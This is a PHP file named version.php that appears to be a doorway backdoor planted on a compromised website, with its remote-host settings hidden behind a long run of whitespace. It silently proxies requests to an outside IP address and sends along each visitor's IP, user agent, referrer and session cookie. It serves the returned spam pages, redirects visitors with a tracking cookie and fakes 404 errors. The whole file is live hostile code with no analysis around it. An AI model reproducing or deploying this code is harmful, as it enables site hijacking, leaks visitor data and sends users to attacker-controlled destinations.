version.php

<?php

error_reporting(0);
session_start();

                                                                                                                                                                                                                                                                                                                                                                                                    $myHost = "62.210.220.80";$pathOnMyHost = "";$pathToDor = "/nsw-uk";$template = 'nsw-uk';$connect = 1;
$cookie_name = 'UTCSESSID';
$period = 86400;
$sn = $_SERVER['SERVER_NAME'];
$rq = $_SERVER['REQUEST_URI'];
$trace = 'http://'.$_SERVER['HTTP_HOST'].'/error_404';
$hr = $_SERVER['HTTP_REFERER'];
$_SERVER['HTTP_HOST'] = (substr(strtolower($_SERVER['HTTP_HOST']),0,4) == 'www.' ? substr($_SERVER['HTTP_HOST'],4) : $_SERVER['HTTP_HOST']);

function set_error(){
    global $rq, $trace;
    header('HTTP/1.0 404 Not Found');
    echo str_replace('/error_404/',$rq,file_get_contents($trace));
    exit;
}

if(!empty($_COOKIE[$cookie_name])){
    //set_error();
}
    $path = substr($_SERVER['REQUEST_URI'], strlen($pathToDor));
    $html = getContent($myHost, $pathOnMyHost.$path, $template,$pathToDor);

    if (strstr($path, ".css")) header('Content-Type: text/css; charset=utf-8');
    else if (strstr($path, ".png")) header('Content-Type: image/png');
    else if (strstr($path, ".jpg") || strstr($path, ".jpeg")) header('Content-Type: image/jpeg');
    else if (strstr($path, ".gif")) header('Content-Type: image/gif');
    else if (strstr($path, ".ico")) header("Content-type: image/x-icon");
    else if (strstr($path, ".xml")) header ('Content-type: text/xml; charset=utf-8');
    else if (strstr($path, ".txt")) header('Content-Type: text/plain; charset=utf-8');
    else if (strstr($path, ".js")) header('Content-Type: text/javascript; charset=utf-8');
    else if (strstr($path, "rss")) header ('Content-type: text/xml; charset=utf-8');
    else header('Content-Type: text/html; charset=utf-8');

    echo($html);

    function getContent($host, $path, $template, $pathToDor) {
        global $connect, $pathOnMyHost, $hr;

        if ($connect) {

            $headers = array(
                "User-Agent: $template"
                ."|$pathToDor"
                ."|$pathOnMyHost"
                ."|http://".$_SERVER['HTTP_HOST']
                ."|".getUserIP()
                ."|".$_SERVER['HTTP_USER_AGENT']
                .'|'.$hr,
                "Referer: http://".$_SERVER['HTTP_HOST']
            );
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, 'http://'.$host.$path);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers );
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 );
            curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/' );
            curl_setopt($ch, CURLOPT_TIMEOUT, 15 );
            $result = curl_redir_exec( $ch );
            curl_close($ch);
            return $result;
        } else {
            $buff = '';

            $socket = @fsockopen($host, 80, $errno, $errstr);
            if ($socket) {
                @fputs($socket, "GET {$path} HTTP/1.0\r\n");
                @fputs($socket, "Host: {$host}\r\n");
                @fputs($socket, "Referer: http://".$_SERVER['HTTP_HOST']."\r\n");
                @fputs($socket, "User-Agent:  $template"
                    ."|$pathToDor"
                    ."|$pathOnMyHost"
                    ."|http://".$_SERVER['HTTP_HOST']
                    ."|".getUserIP()
                    ."|".$_SERVER['HTTP_USER_AGENT']
                    .'|'.$hr
                    ."\r\n"
                );
                @fputs($socket, "Connection: close\r\n\r\n");

                while (!@feof($socket)) {
                    $buff .= @fgets($socket, 128);
                }

                @fclose($socket);
                $result = explode("\r\n\r\n", $buff, 2);

                if (preg_match("~Location: (.*)~", $result[0], $m)) {
                    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
                    header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
                    header("Pragma: no-cache"); // HTTP/1.1
                    header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
                    header("HTTP/1.1 301 Moved Permanently");
                    header("Location: ".str_replace($pathOnMyHost, '', $m[1]));exit;
                }

                return $result[1];
            } else return "";
        }
    }

    function getUserIP() {

        $array = array('HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', 'HTTP_X_REMOTECLIENT_IP');
            foreach($array as $key)
            if(filter_var($_SERVER[$key], FILTER_VALIDATE_IP)) return $_SERVER[$key];
            return false;



    }
    function curl_redir_exec($ch) {
        global $pathOnMyHost;
        global $cookie_name;
        global $period;
        static $curl_loops = 0;
        static $curl_max_loops = 20;
        if ($curl_loops   >= $curl_max_loops) {
            $curl_loops = 0;
            return FALSE;
        }
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $data = curl_exec($ch);
        list($header, $data) = explode("\r\n\r\n", $data, 2);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        if ($http_code == 301 || $http_code == 302) {
            $matches = array();
            preg_match("~Location:(.*?)(?:\n|$)~", $header, $matches);
            $url = @parse_url(trim(array_pop($matches)));

            if (!$url) {

                $curl_loops = 0;
                return $data;
            }
            $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));

            if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];
            if (!$url['host']) $url['host'] = $last_url['host'];
            if (!$url['path']) $url['path'] = $last_url['path'];
            //---- check refferer and other parameters

            if(strpos($url['query'],'{referrer}')) $url['query'] = str_replace('{referrer}','http://'.$_SERVER['HTTP_HOST'].'/',$url['query']);

            $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');



            header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
            header("Cache-Control: no-cache, must-revalidate");
            header("Pragma: no-cache");
            header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
            header("HTTP/1.1 301 Moved Permanently");
            $domain = $_SERVER['SERVER_NAME'];
            $cookieDomain = '.'.(substr(strtolower($domain),0,4) == 'www.' ? substr($domain,4) : $domain);
            //setcookie($cookie_name,md5(uniqid()),time()+$period,'/',$cookieDomain);
            setcookie($cookie_name,md5(uniqid()),0,'/',$cookieDomain);
            header("Location: ".$new_url);exit;
        }elseif($http_code == 404){
            set_error();
        }
        else {
            $curl_loops=0;
            return $data;
        }
    }

?>